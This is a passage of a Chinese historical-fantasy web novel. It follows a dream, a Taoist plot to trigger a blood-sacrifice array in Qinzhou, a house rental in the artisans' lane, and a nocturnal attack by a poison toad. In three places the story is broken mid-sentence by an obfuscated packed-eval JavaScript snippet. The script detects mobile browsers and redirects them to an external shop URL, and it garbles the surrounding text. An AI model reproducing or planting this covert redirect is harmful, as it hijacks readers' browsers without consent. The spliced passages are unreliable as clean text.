他睁开眼，便见着两张小脸凑在跟前。阿濡朝他脸上哈着热气，一双眼如葡萄朵，睫毛又浓又翘，鸦羽一般。 她旁边还站了个矮墩墩的小人儿，鼻洼里挂着两管清鼻涕，瞧着怪恶心的。 他翻身起来盘腿坐在榻上，揉揉眼睛。阿濡见他醒了，也爬上榻来学他的样盘腿坐着。那小人儿非要学着坐，两条短腿却怎么也盘不拢，急得满头大汗。 阿濡笑得咯咯的：“霖哥哥，你的腿怎么比阿濡的还短？” 谢元佑嫌弃地瞅了他一眼：“就是这小东西要跟着我么？我不要。” 阿濡摸了摸小今霖的脑袋，倒像个姐姐似的：“可是怎么办呢？我喜欢小今霖呀，他好可爱，你不要，我便要了。” 那小鼻涕虫吸了吸鼻子，摇摇头：“我不要，你是女娘，我要跟着公子。” 阿濡“啪”地在他脑瓜上敲了一下：“你倒还嫌弃我！元佑哥哥又不要你。” 那孩子脆生生地也叫了声“元佑哥哥”，忽然扑过来抱住他的胳膊，仰着脸说：“公子，阿爹说了，我要一辈子跟着你的，我看过你舞剑，厉害得很，我就想跟着你。” 恭维对小孩子也是受用的，谢元佑便笑了，伸手揉了揉他的脑袋，学着大人的口气：“既然阿濡觉得你好，本公子便应了你，许你一辈子跟在我身边。” 一辈子。 那时候，他以为知道一辈子是多久。 一转眼，他们都不在自己身边了。 只余他一人了。 谢元佑抱着膀子歪倒下去。他有一瞬间的清明，恍惚晓得方才不过是场幻觉罢了。可分明方才那梦里的暖和气还没散尽，可这刻他觉得骨头都浸着冷意，那刺骨的冰冷在他身体里四下乱窜。 他阖着眼，胸口起伏了几回，脑仁儿里好似有人拿斧头一下一下地劈。他搂着胳膊，把脑袋往床头上死命地撞，可身上早没了气力，撞过去也是轻飘飘的，不疼不痒。 他还是忍不住一下一下往上撞，额角磕在硬木上，闷闷地响。撞了会儿，力气彻底耗尽了，只得把脸埋进被褥里，浑身痉挛似地抖。 他将手臂压得更紧了些，喉结滚动，半晌，才从喉咙深处发出一声极轻极短的呜咽声，像是什么东西碎了开来。 门外，魏嵚没敢走开，耳朵竖得笔直，听着屋里那点动静。 闷响、喘息、被褥窸窣。他靠在门边，却不敢推门进去。跟了谢元佑五年，他太清楚了，这时候进去，只会让大人更难堪。 过了许久，屋里渐渐没了声响。魏嵚侧耳听了半晌，才极轻极慢地推开一道缝。 油灯还亮着，极微弱的光，谢元佑侧躺在床上，一只手搭在额前，遮住了半张脸。呼吸虽粗重，却比方才匀了许多。 魏嵚悄悄退出来，轻轻带上门，长长吁了口气。这一夜，可以想来会有多磨人。 夜里睡得不好，姜南绍醒来时还在喘着粗气，梦一个接着一个，她都不记得梦到了些什么，只记得同那人有关。 她许久没想过那人的事了，六年来她忙得连喘口气的工夫都没有。修炼、练功、任务、奔波，桩桩件件压下来，倒也叫人没闲心去惦记旁的。 兴许是前几日在原州客栈里，听来了那人被废黜的消息罢。当时她正端着茶碗，手指微微一僵，旋即又若无其事地抿了一口。 吴山娘素来一张脸看不出喜怒，她像没听见一样，连一眼都没朝她那里瞥，只认真喝着茶。 周至语对她过往全然不知，自也瞧不出什么异样，可她自己心里清楚，那一瞬间，有什么东西像被针扎了一下。 不痛。只是酸。 她翻了个身，一瞧窗外天色还暗着，离天明尚早。 可她知道，自己是再也睡不着了。 翻来覆去，脑子里像有团乱麻，愈加清醒。梦这东西不讲道理，你越是压着，它越要翻腾。 那人的事，她早就放下了。六年了，连模样都有些模糊，记不太清了。 她听到那消息时，心里头是没有多少意外的——虽没刻意想过，但早料到会有这么一天。他那个性子，太亮、太烈、太不知道转弯，在那种地方，怎么活得长久？ 六年来，她一日一日地学会了不逼自己。既然这夜晚压不住心里的情绪，不如就由着它去，该怎样便怎样罢。 等天亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527883|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，自有旁的事压下来，填满每一寸心思，叫她没有工夫再去想这些。 秦州城已在望，她哪还有旁的心思。这六年，论心狠，她也学了九成九。 次日，马背上的姜南绍重又精神抖擞。 一月有余的风雪兼程，总算远远瞧见了秦州的城郭。 她攥着缰绳的手不由得一紧，眼底漫上几分按捺不住的兴奋——六年了，念想了六年的这一刻，竟真真切切就在眼前了。 她勒住马，指尖摩挲着粗糙的皮缰。这一路风餐露宿，干燥的风沙早已将她的皮肤磨得粗粝，那张本就黑瘦的脸，如今更显棱角分明。 只驻得片刻，她便一夹马腹，松了松缰绳，低喝一声“驾”，马蹄踏着尘土，缓缓朝城门行去。 到了城门口，那土筑砖包的城垣迎面压来，斑驳的土黄里浸着风沙经年的气息。 入城下马听凭厢兵盘诘，虽费了些周折，倒也还算顺遂。 进了城，人挨着人，三人牵着马慢慢走，脚下不敢稍耽。 秦州城内的空气驳杂得很——畜粪腥臊裹着干燥的尘土，又掺着几羊奶香，市井气扑面而来。 街上人声鼎沸，南腔北调好不热闹。 此处虽及不上汴京那般车水马龙、富丽繁华，却也自有一番独到的异域风情。 师徒三人在街边买了几块胡饼，就着水匆匆填了肚子。各怀心思，并无在城中逗留的念头。 按先头定下的章程，填饱肚子便直奔玉泉宫。待赶到时，日头早已偏过中天，正是午时光景。 玉泉宫在秦州城北的崖壁上。三人沿着天擎山的石阶一步步往上走，沿途泉水环绕，潺潺水声极动听。 道旁古柏苍苍的，枝繁叶茂，浓荫遮了半边日头，行步起来倒也清爽。 走了约莫半柱香的工夫，便望见山门之上，“玉泉宫”三个大字，笔力遒劲，入石三分。 山门前有小童略加盘问，三人便入了观门，不多时即被引至三清殿前。 殿中香烟缭绕，一位墨色长须的道长立于当中，面容慈和。瞧见她们进来，便含笑迎上。 吴山娘快步上前，拱手行礼，语中带着几分久别重逢的动容：“师兄慈悲。一别数年，师兄风采依旧。” 周至语与姜南绍亦上前稽首，齐声道：“见过师叔，师叔慈悲。” 修明道长向两个晚辈点头笑了笑，连忙扶住吴山娘的手臂，眼底满是怜爱之意：“一别数年，师妹，让师兄好生挂念。” 吴山娘素日里那古井无波的眼眸中，此刻竟泛起微微涟漪，声音微哑：“山娘也想不到，竟还有再见到师兄的一日。” 这修明道长本是河南府人氏，幼时家贫，兄弟姊妹众多，养赡不济，便将他送入汴京太清观学道，拜在左街道录王右拙门下。 他这人悟性颇高，又肯下苦功，道行日渐精进，到后来竟成了道门中有头有脸的人物。 太初三年，朝廷降下敕令，委他任秦州玉泉宫道正，一住便是十数载。他与吴山娘虽非同师所出，然两家师父皆出一门，自幼便常来常往，情分自是非比寻常。 待姜南绍等两个晚辈退出殿去，殿中只余他二人，修明方才细细打量起吴山娘来。心中默算，上一回相见，已是十一年前的事了。 11. 南朝旧事 他目光落在她的发髻上。记忆里那一头乌黑的长发，如今竟已掺了几缕霜白。 她比从前清减了许多，眼角添了几道细纹，眸中也没了当年的清亮，只余下沉沉的倦意，瞧着教人心疼。 他不由得想起十一年前分别那日——自己头一回，也是最后一回，向她开了口。邀她同行前往秦州，愿与她双修相伴，共证道果。 她终究还是婉拒了。 那些年，他总觉着她对自己并非全然无意。可那一次拒绝，到底浇灭了他心里最后那点念想。 心灰意冷之下，他应了那道敕令，独自来了秦州，自此天各一方，再无音讯。 谁知半年前，忽然收到她一封信。那信上写的，字字句句都教他心惊。 原来当年他远赴秦州，竟不是凑巧，是有人早早布下的一步棋——她瞒了他十几年，倒将他给算计其中了。 难怪那时他总觉她眉间锁着化不开的愁绪，问她，她又从不肯说。 她在信里求的那桩事，分明是算准了他不会推辞。 他即便心里挣扎过，到头来也定会应下。除了他，再没有旁人合适，也再没有旁人肯为她做到这般。 他竟不曾多作犹豫，便回信应了她所求之事。 此刻，见她立在眼前，他头一遭觉得，这一辈子，总算没有白活。 吴山娘忽地退后一步，朝他深深稽首，弯下身去，端端正正行了个大礼：“皆因我执念太深，涤荡不净，累及师兄道行，便是万死，也难赎山娘这一身罪过。” 言罢，她屈膝跪倒，额头伏在手背上，久久不曾抬起。 修明连忙俯身去扶：“山娘，快起来，莫要如此。是我修为尚浅，与你何干？你不必这般自责。你我自幼相识的情分，便是为你赴汤蹈火这一回，师兄也是甘之如饴的。” 吴山娘眼眶一热，强忍着才没教泪落下来。 她未满三岁便失了爹娘，被女冠离先生收为弟子，自此跟着离先生学道，心中是将离先生当作亲娘一般敬爱的。 也正是那时候，她识得了修明。 年少时，也曾有过懵懵懂懂的情愫。 两人心里都存着那点子意思，却还未及挑明，一桩突如其来的变故，便叫她断了所有儿女情长的念想。 她执意拒了修明的情意，从此绝情绝心，再不触那心底之事。 只因她心里，离先生亦师亦母，只她一个弟子，待她恩重如山。她这辈子活着，便只为了一桩事——替师父雪恨。 旁的，不是不愿，是不敢再想。 这十几年，她不能将这些事说与旁人听，只咬紧牙关，一样一样地谋划，身心俱疲。 此刻，她终于能卸下心头那块石头，将过往旧事，一五一十说与修明听了。 吴山娘的声音微微发颤：“当年师父曾与我说过一桩旧事。她年轻时，四方割据，天下大乱，分作数国，尚未一统。她当时在南朝修行，因修道之故，常与南朝皇家往来。一来二去，便同南朝一位皇子生了情分。那皇子后来继了位，将师父接入宫中，封作妃子。转过年来，便诞下一子——这位君兄，便是南朝最后那位君主。” 修明道长身躯微微一震，面上讶色难掩，沉吟片刻，并未打断。 吴山娘顿了顿，又道：“师父与那南朝皇帝，起初也曾鹣鲽情深。可师父本就不是能困在深宫里的性子，日久便知自己志不在此。纵是舍不得年幼的孩儿，修道之心却一日重过一日，最后还是遵从本心，毅然离了宫，重新披上道袍，做回女冠。此后，她一意向道，日夜苦修，修为愈发精深。一时之间，远近闻名，人人钦仰。” 修明轻轻摇头，叹道：“我只知离师叔道法高深，却不曾想，她竟与南朝有这般渊源。” 吴山娘面色一沉，语气怆然：“后来的事，师兄大约也已有耳闻。南朝国力日衰，太祖挥师南下，君兄被掳至京城。起初太祖还算宽仁，封了他爵位，保他性命。可到头来，他到底还是死在了太初帝手里——死在那阴毒至极的‘蚕丝怨’剧毒之下。” 言及此处，她牙关紧咬，眼底翻涌着恨意：“那狗皇帝本就是窃国之贼，行事狠辣。别说前朝的俘虏，便是自家的兄弟侄儿，他也全然不顾血缘亲情，说杀便杀。此等不忠不义的鼠辈，才该下那地狱！” 修明略一沉吟，又问：“你信里所说的玉泉宫阵法之事，与离师叔的旧事，又有何干系？” 她闭了闭眼，强压住心头翻涌的激愤，续道：“修明师兄，你可还记得十数年前，师父曾有一段时日水米不进，险些丧了性命？便是那时，她方得知南朝君兄被毒杀的噩耗，深受打击，一病不起。” 修明道长凝神回想，依稀记起确有此事。彼时离师叔病势沉重，卧床休养良久。 待病愈之后，整个人消瘦憔悴，神气如被抽空了一般，身子时好时坏，不过一年光景，便撒手尘寰。 他点了点头，语带怅然：“原来竟是为着这个。我先前还纳闷，师叔素来身康体健，怎生未及花甲便仙逝了。” 吴山娘眼含热泪，声音哽咽：“若不是心里憋着那股恨，师父只怕那时便去了。她也曾设法替君兄复仇，可那狗皇帝亏心事做尽，本就得位不正，性子自然多疑，防卫亦森严，师父始终寻不着近身的机会。复仇无望，忧愤交加，身子便一日不如一日。” 她深吸一口气，又道：“君兄身死约莫三个月后，一位高人寻到师父。我等方知，当年太宗帝大限将至，却不忍诛杀亲弟，思虑过重，反反复复拿不定主意，终招致被亲弟所杀、全家尽灭的祸端。太祖帝应是早已料定身后有此一劫，早在事发之前，便寻了高人，布下一道隐秘阵法。” “是何种阵法？”修明道长追问道。 吴山娘抬眼望他，语声沉甸甸的，一字一句道：“此阵阴毒至极，说白了，与献祭无异。本就是违逆道家正道的旁门左道。” 修明道长听罢，心头猛地一震，胸口怦怦直跳，满脸皆是难以置信的神色。 旁门左道，乃道家大忌，为正道所不齿，稍有不慎，便落入万劫不复之地。 他强压下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527884|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心头的惊悸与不安，却见吴山娘目光灼灼地盯着他，问道：“师兄，你明白这话的意思么？你还要听下去么？” 吴山娘轻轻吐了口气，面色渐渐泛白，声音也弱了几分：“我在信中不便细说此事。师兄，你此刻回头还来得及。你只当什么都没听过，不必再为我费心，更不必卷进来。” 修明道长摇了摇头，脸上浮起一丝苦涩的笑意。事到如今，他若再装作一无所知，岂不是太假？更何况，他决不能眼睁睁瞧着她独自扛着这一切。 吴山娘见他不语，又补了一句：“师兄只需当作从未见过我们，不与我们为难，便是帮了小妹了。” “山娘，你且说下去。”修明道长打断她，语气坚定得很，“世间事，本就彼亦一是非，此亦一是非。无论前路是福是祸，便是拼尽我这身修为，我也断无袖手旁观的道理。何为正道，何为邪道，本就没个定数。” 吴山娘心头一震，竟生出几分犹豫。 她与他自幼一同长大，怎会不知他待自己的心意？方才说出那番话时，她心底着实忐忑——怕他退缩，怕他不肯与自己站在一处。 若连他都弃她而去，她便当真是孤身一人了。可转念一想，若真因她连累他修为尽废，她又怎能心安？这份愧疚沉甸甸地压在心头，叫她一时左右为难。 默然间，复仇之心终究占了上风。她咬了咬牙，继续道：“据那高人所言，太祖驾崩前一年，便已感知到自己星宿衰竭，大限将至。太祖生性宽厚，虽察觉兄弟有异心，却念及手足之情，总盼着是自己多想了，并不忍痛下杀手，只得暗中留下后手——以自身心尖精血，请高人布下此阵。若他日太祖死于非命，或是太祖崩后太初那贼人做出天理不容之事，此阵便可由那位高人以至阳至阴之人的以血引阵启动。” 她顿了顿，声音愈发低沉：“此事本应秘而不宣，知晓之人越少越好。可那阵法本身尚有诸多瑕疵，那位高人日夜忧心，生怕贸然启动，后果不堪设想。他有心请师父修补此阵，却又怕走漏风声，惹来杀身之祸。后来，那高人想必是得知了师父与南朝皇室的渊源，又知晓师父一心想为君兄复仇，这才在君兄死后寻到师父。师父当即应允下来，只是为修补这阵法，她耗尽了最后的心力。阵法一成，师父便油尽灯枯，溘然长逝了。” 吴山娘抬起指尖，轻轻拭去眼角滚落的泪珠，声音愈加哽咽：“以师父的修为，本可修炼到百岁开外，却不料这么早就去了。” 修明道长轻声安慰道：“山娘莫要太过伤心。离师叔道行深厚，想必已是登了仙界了。” 她惨然一笑，摇了摇头：“师父临终时对我说，她怕是修不成正果了，只能承负此业，以此了结。”想到眼下二人处境，又生出几分自责，“只是……到底累了师兄了。” 修明微微一笑，语气温厚：“师妹切不可再这样想了。原是我个人修为不高，心性不坚所致，并非他人之过。” 他想到另一桩事，心下犯疑，又问道：“不知为何偏偏选在此时启动此阵？如今已是太初十五年？” 12. 匠巷 “据师父所言，此阵需数十载地脉温养，方能与山河灵脉浑然相融。阵在沉睡之中，缓缓吸纳日月精华、地脉灵气，蓄积磅礴之力，待到启动之时，威力方可臻于极致。” 修明道长闻言，如醍醐灌顶，心头猛然一沉——原来十一年前自己被派往秦州，便是要借他的修为，温养这阵法。而这阵法，早在太祖驾崩之前，就已布在玉泉宫中了。 他愈发心寒，声音都禁不住发起颤来：“原来如此。” 吴山娘瞧他神色，心中愈发不忍，她们利用了师兄十一年，心中是有愧的：“这阵法须得地脉温养，唯有师兄的修为方能护其周全。正因如此，玉泉宫道正一职，当初非师兄莫属。” 修明叹道：“想必这位高人定是宫中之人，否则也不可能有如此万全的法子，将我安排到秦州，却不知究竟是何人？”他暗自忖道，此人身份定然非同寻常，方能将事情做得这般滴水不漏。 吴山娘摇了摇头：“此人是谁，我也无从知晓，唯师父一人知道。自师父仙逝之后，我与那位高人之间的联络，一直靠一位名叫云来的隐士居中传递消息。” 修明默然片刻，心中便通透了许多：“若我没猜错，这阵法须得以至阳至阴之血方可启之，只是不知启动之时，会是何等光景？” 吴山娘面色凝重，缓缓摇了摇头：“师兄，说句实在话，我等也不知最终会走到哪一步，我们来这秦州，一则为这阵法便在玉泉宫中，二则那至阳之身也已被安排到了秦州。万事已然齐备，只待那人一到，便可引血启动阵法，送我那小徒儿重回太祖尚在世的康德年间，由她去杀了那狗皇帝，还天下本来的模样。” 修明道长听罢，大为震撼，半晌无言。殿中香烟袅袅，一缕缕燃至灰烬。 良久，他方才缓缓开口：“那至阴之身，既是你那小徒儿，那至阳之身……又是何人？” 吴山娘点了点头，目光沉沉地望着他：“师兄可晓得，这一趟来秦州巡边的，是哪一位？” 修明微微一怔，随即心头一跳：“你是说……同知枢密院事汪平程？” 他喉结上下滚了一滚，声音微微发涩：“你们要……取他的性命？” 吴山娘没有直接回答，只说：“阵法启动，需以心头血为引。至于能不能活……”她顿了顿，“那便看他的造化了。” “山娘，”他终于开口，声音低沉而平静，“你既已走到这一步，我自当助你。无论前路是福是祸，师兄都不后悔。” 吴山娘眼眶一酸，喉头哽了哽，深深地点了点头。 修明眼睛紧紧盯着吴山娘：“山娘，你想让我替你做什么？尽管说来便是。” 吴山娘上前一步，深深一揖，低声道：“听闻这阵法在玉泉宫附近的洞穴里，温养得极好。师兄只需守住阵法，不为外人所扰。其余的事，自有我们的人去办。” 修明微微一笑，伸手轻轻拍了拍她的肩，像小时候那般温厚：“去吧，带着那两个孩子先去安置。秦州不比京城，风沙大，夜里凉，先歇一歇。有什么事，明日再说不迟。” 吴山娘眼里泪光微动，应了一声，退后一步，再次端端正正行了稽首礼，方才慢慢转身朝殿外走去。 修明立在原地，目送她的背影消失在殿门外的日光里。 那背影瘦削，却挺得笔直。 他忽然想起许多年前，那个跟在他身后、扎着双髻、笑起来眼睛弯弯的小师妹。 岁月不曾饶过谁，她那股要强的性儿，竟一点没变的。 他轻轻叹了口气，转过身，望向祖师爷威严的塑像，端身正立，两手在胸前结成“太极阴阳印”，并缓缓举至眉际，喃喃道：“弟子惭愧，修行半生，到头来，终究放不下一个‘情’字，请祖师爷赦宥。” 姜南绍与周至语在玉泉宫的云水寮里住了几日。她也没闲着，不光把玉泉宫上上下下摸了个遍，连位于玉泉宫的整个天擎山也未曾落下。 她学艺五年，天资聪慧，又吃得苦，素来受吴山娘器重。 她只晓得这山中藏着一处隐秘阵法，却不知究竟在何处。吴山娘不曾与她多说，因此她对那阵法的底细也所知有限。可这几日四下探看下来，心里倒有了七八分眉目。本想再往深处查访更清楚些，奈何眼下是不能够了。 这日，吴山娘忽然差小童来唤她二人过去。原来云来先生那边传了信来，料想是汪平程快到秦州了。师父吩咐她俩进城赁处宅子住下，往后行事便宜些，不必再住在玉泉宫里；待安顿妥当，即刻去云凤山与云来先生会合。 姜南绍与周至语领了师命，当日便动身，往秦州城赶。 进了城，姜南绍也不往别处去，径直朝匠巷走。 周至语见她赁宅子别处不挑，单挑那匠巷，心里便不自在起来，只当是她没把自己这个师姐放在眼里，事事不与她商量，脸上便带了几分不好看。 姜南绍瞧她神色不对，本懒得解释，可转念一想，不过是递个台阶的事儿，何必惹她不快？这些日子还要同住一处，闹僵了也没意思。 她便开口道：“师姐若想与我一道住，就听我的；若不想，我也不强求。我自有我的打算，查过了，住这儿省钱。” 周至语听她这话不中听，可偏偏拿她没法子。她虽是师姐，下山前师父却特意交代过，凡事要听姜南绍安排，不得任性。 她晓得争不过，只得罢了。 这匠巷本是手艺人扎堆的去处。沿街开着铁匠铺、木匠铺，叮叮当当响成一片。旁的铺子也不少，卖杂货的、修鞋的、箍桶的，烟气汗气混在一处，市井烟火味儿浓得很。 两人走得慢，看看停停。不想刚进匠巷大街没走几步，便叫人盯上了。 姜南绍与周至语交换了个眼色，故意拐进一条僻静小巷。果然，后头那人也紧跟着拐了进来。刚一转弯，便被顿住脚步的姜南绍一把擒住脖颈，拎了起来。 此人是个五十来岁的婆子，吓得脸色发青，连声讨饶：“女侠饶命！老婆子不是歹人！” 姜南绍手上松了些劲，将人轻轻放下：“你是什么人？跟着我们作甚？” 婆子脸色稍缓，堆起笑来：“哎呀呀，误会误会！老身是牙婆，看二位姑娘背着行囊，像是外头来的，不知是要住店还是赁屋，想上前揽个生意，没承想惊着二位了，是老婆子的罪过。”她搓着手，一脸讨好，“老婆子就是心急想揽活，绝不是歹人。二位姑娘别见怪，别见怪。” 姜南绍打量她几眼，这才放开那婆子，理了理衣袖：“原来是牙婆，难怪眼这么尖。” 牙婆脸上笑得更殷勤了：“干咱们这行的，就讲究眼亮！在这匠巷，您打听打听，谁不知道我柳五娘？我家的牙行就在前头，有事尽管寻我，包您满意！不知两位姑娘可愿给老婆子这个挣家用的机会？” “客套话就不必了，我们确是想赁间屋子。”姜南绍打断她，面上已有些不耐，“妈妈有什么好介绍，细细说来听听。” “包在老婆子身上！”柳五娘把胸脯拍得砰砰响，“姑娘要什么样的屋子，长赁短赁，尽管说，没有我柳牙婆办不成的！” “我们想先赁个半年的屋子，干净就成，价钱要公道。”姜南绍想了想，又补了一句，“要清静些的住处。” 柳五娘脸上笑开了花：“有有有！我给您二位寻一处隔壁没人的屋子，保准清静！”她往怀里掏了掏，摸出一串钥匙来，“离这儿不远，要不，老身这就带二位去瞧瞧？” 周至语忍不住泼冷水：“我看这婆子面相不善，你可别上当。” “这位姑娘说的哪里话！”柳五娘立刻叫起来，“您二位去打听打听，我柳五娘在这匠巷住了一辈子，别说这匠巷，便是整个秦州城谁不知道我最讲公道？您放心就是，若是不放心，不如你二位跟我去我牙行看看，免得说我老婆子骗外乡人！”说着便要去拉姜南绍的手。 姜南绍眉头一皱，将手抽了回来：“妈妈，说话便说话，别动手。” 柳五娘忙在自己脸上轻轻拍了拍：“瞧我这老婆子，见姑娘面善就想亲近，唐突了唐突了！姑娘莫怪。那……咱这就去瞧瞧？” 周至语嗤笑一声——姜南绍看着好相与？这婆子怕是瞎了眼。 “不必去牙行了，我心头有数，你带路罢，瞧瞧房子去。” “好嘞！姑娘慢些走，留心脚下！” 柳五娘碎步在前头引路，嘴没个消停的时候，不时回头搭话。见二人不怎么搭理，也不觉尴尬，照样说得又快又密，跟放鞭炮似的。 拐了两个弯，她们在一处土坯屋前停下来。这一带显是民居，人不多，瞧着倒也清静。 柳五娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527885|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晃着手中的钥匙，指着那几间空屋：“喏，这几间都空着呢，您瞧着顺眼挑一间就成。” 姜南绍将几间屋子细细看过一遍。既做了女冠这行，也得定个方位。 她见其中一间屋后倚着山势，门前开阔明亮，便定了这一间。 与牙婆好一番讨价还价，终于谈妥了租金，当下付了定钱与佣金。 柳五娘利索地交了钥匙在她手上，往怀里揣好银子，一张脸笑得连眼都瞧不见了：“老婆子明日一早来收余下的租金，不耽搁姑娘们安置了。我的牙行就在前头巷子里，有事随时言语！” 说罢，步子都带着几分轻快，扭头告辞去了。 两人背着行囊，迈步进了屋子。 这屋子显是久无人住，四下里灰扑扑的，收拾起来颇费了一番工夫。 直忙到天色昏沉、掌灯时分，才算勉强拾掇出个能落脚的模样。 周至语脸色不大好看，瞥了一眼空荡荡的木板床，忍不住抱怨：“数九寒天的，连床被褥也不曾预备。旁的日用物件更是缺这少那，入了夜，连盏正经油灯都没有。” 姜南绍在屋里翻找了半晌，只从墙角旮旯里摸出一根落满灰的蜡烛。拿火折子点着了，那烛芯却跳起幽幽一团绿莹莹的光。 周至语凑近细看，心里猛地一跳——竟是祭奠用的白蜡烛，在天色擦黑之时渗着一股子森然冷意。 姜南绍瞧她退后半步，便一本正经关心道：“师姐若是怕了，今夜与我挤挤也无妨。” 周至语本是女冠出身，哪里真会怕这个？不过是一时没料到罢了。听出她话里那点子调侃，当即反唇相讥：“真是晦气，连间屋子都寻不妥帖。” 姜南绍也不接话。她二人相处，斗嘴抬杠是常事，一日不拌上几句，反倒更别扭。 周至语裹了好几层厚衣裳。姜南绍靠在门边瞧着，又轻飘飘地添了一句：“看来师姐平日练功是偷了懒，这大冷的天，竟要裹成个粽子。” 周至语懒得理她，只横了一眼，转身便回自己那屋，“嘭”的一声把门摔上。 姜南绍也乏了，拎起那半旧的布囊，慢悠悠踱回房里。 她合衣躺在硬邦邦的木板床上，想是真累了，不多时困意便涌上来，迷迷糊糊睡了过去。意识昏沉间，那那个反复出现的梦又浮了上来。 梦里还是那个地方。 她顺着青石阶一步步往山上走，山顶上日头亮堂堂的，一座雅致凉亭立在眼前。便是梦里，她也晓得这景致认得烂熟，知道该往哪里去。亭子四周拾掇得干干净净，像是常有人精心打理。 她没停脚，顺着凉亭旁那条小径往下走，四下里依旧空落落的，不见一个人影。 穿过溪水环绕的小路，眼前渐渐开阔起来，一栋飞檐翘角的屋舍露了出来。她如往常一般，也不叩门，径直推门进去。 屋里空荡荡的，只摆着些古董花卉、瓶瓶罐罐。她随手抚过那些物件，在里头转悠了半晌。随后，轻车熟路地走向内室，伸手去够那门上的铜环—— 指尖刚碰到冰凉的门环，一股子邪劲儿猛地袭来，将她整个人拽进一片深不见底的黑洞里去了。 她骤然惊醒，猛地坐起身来，心口还在突突地跳，虽是冬日，额上却已沁出一层冷汗。 这梦很是蹊跷，越是临近秦州，梦来得越是频繁。 在玉泉宫附近晃荡的那几日，确实有意外收获，那梦中的地界确是真实存在的，便在这玉泉宫所在的天擎山中。 心中定了，这梦倒也不磨人了，她闭上眼略定了定神，再睁眼时，四下里打量了一番。 不知已是几更天了，外边夜色正浓，只辨得出桌椅模糊的轮廓。窗外隐约有枝叶晃动的影子，传来一阵紧似一阵的风声，呜呜咽咽的。细细听来，又不像是寻常风声。那枝叶簌簌响得愈发厉害，仿佛暗处藏着什么活物。 她摸到枕边那截白烛，重新点亮。 烛火腾起，幽幽一团绿荧荧的光，不安地摇曳跳动，将屋中物件的影子拉得老长，扭曲着，晃动着，映得满室鬼气森森。她下意识抬手拢住那簇微光——就在此时，一股阴寒之气冷不丁扑面而来！ 手中烛火“噗”地一声灭了，黑暗霎时吞没一切。 与此同时，一条湿冷滑腻的东西，悄无声息地攀上了她的手臂。 13. 夜祟 她毛发皆竖，反手疾抓，指尖触到一片冰凉黏湿之物。 耳畔极近处，清清楚楚传来一声悠长的吸气，幽幽闷闷，恰似一声阴郁的叹息。 她心下凛然，手上却比念头更快。右手疾扣左腕，指腹一按一旋，那枚形似手镯的阴阳环便滑落掌心。 只闻机括“咔”地一响，环身瞬间弹出细密锋利的锯齿，边缘在昏暗中泛着冷硬的光。 她毫不迟疑，手臂一振，阴阳环挟着低啸破空而出，直射向那叹息来处！ 黑暗中“嗤”的一声闷响，似是利刃切入皮肉，紧接着，一声极细极尖的嘶叫短促响起，旋即戛然而止。 姜南绍毫不迟滞，左手同时扬起，又一枚阴阳环已脱手飞出，疾射向那扇洞开的窗户。 窗外传来一声压抑的闷哼。 与此同时，那萦绕耳畔的叹息声倏然断绝。 她身形如电，眨眼间已掠至门外。 小院中月色清冷，四下里寂然无声，只听得夜风拂过枝叶，沙沙作响。 那枚阴阳环静静躺在泥地上，月光给它镀上一层幽幽的银白光亮。 她才俯身拾起，便闻一阵急促的脚步声——周至语已从屋内疾奔而出，转眼到了她近前。 姜南绍就着月光抬起手拾起阴阳环瞧，那锯齿间沾着殷红的液体。周至语凑近细看，又低头嗅了嗅，抬起头时，神色凝重起来： “是人血。” 姜南绍握紧阴阳环，指尖沾上那尚未冷透的湿黏。她抬眼望向周至语，声音压得低而沉：“师姐，你那屋里……是不是也进了脏东西？” 周至语点了点头。 两人退回姜南绍房中，重新点亮蜡烛。昏黄的光线下，地上是先前姜南绍使出的第一只阴阳环，已死死钉住一只墨绿色的蟾蜍。 蟾蜍约莫巴掌大小，背上疙瘩遍布，望之令人生厌，此刻已然僵死不动。 周至语正俯身欲细察。 “师姐，别动。”姜南绍低声喝止，蹲下身子细细看了看，“这东西皮上黏液带毒。”她指了指蟾背几处暗纹，“这是盐泽青蟾。” “盐泽青蟾？” “嗯。”姜南绍神色凝重起来，“擅养此物，驱而用之的，乃是西夏中的盐泽巫。” 周至语一怔，旋即明白过来：“这些人……竟与西北西夏有勾连？” 姜南绍嘴角浮起一丝冷笑：“秦州这潭水，果然浑得很。看来是有西夏的暗桩藏在此处，装神弄鬼，吓唬于人，背后定有什么见不得人的勾当。” 她目光扫过空荡荡的四壁：“难怪这几间屋子一直空着——那牙婆，只怕也不干净。” 